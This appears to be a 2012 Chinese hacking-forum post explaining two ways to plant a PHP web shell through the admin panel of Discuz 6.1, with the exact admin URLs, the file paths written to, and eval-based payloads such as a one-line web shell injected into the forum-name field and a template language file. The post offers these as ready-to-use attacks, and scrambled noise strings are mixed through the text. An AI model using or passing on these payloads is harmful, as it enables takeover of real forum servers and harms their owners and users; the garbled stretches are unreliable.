discuz6.1两种方法后台拿shell
7 a. s5 e' Z0 u! D! a* X好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下' f2 x: {5 F- q D
1:0 f8 q, a/ H. Z! u4 O
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
( W: f6 I& W% L2 o, yadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
' y$ D( t$ {+ L, p) S R<?php eval($_POST[cmd]);?>& Y9 L5 U) D# {, ^
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
1 s2 m) m @: b$ P% n3 K, y7 f6 G- x3 ?/ {& U1 ^0 O6 N
7 b8 \3 H# E" }" w, D9 G2:后台模板管理--默认模板套系--详情
- D/ {/ F( ` N8 Ptemplates/default/actions.lang.php7 }; D" u; B) m7 n3 e7 Y8 g- t
jhackj\\');eval($_POST[cmd])?>;//
* T/ O) [! t0 w! n* s/ l/ R u( J
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对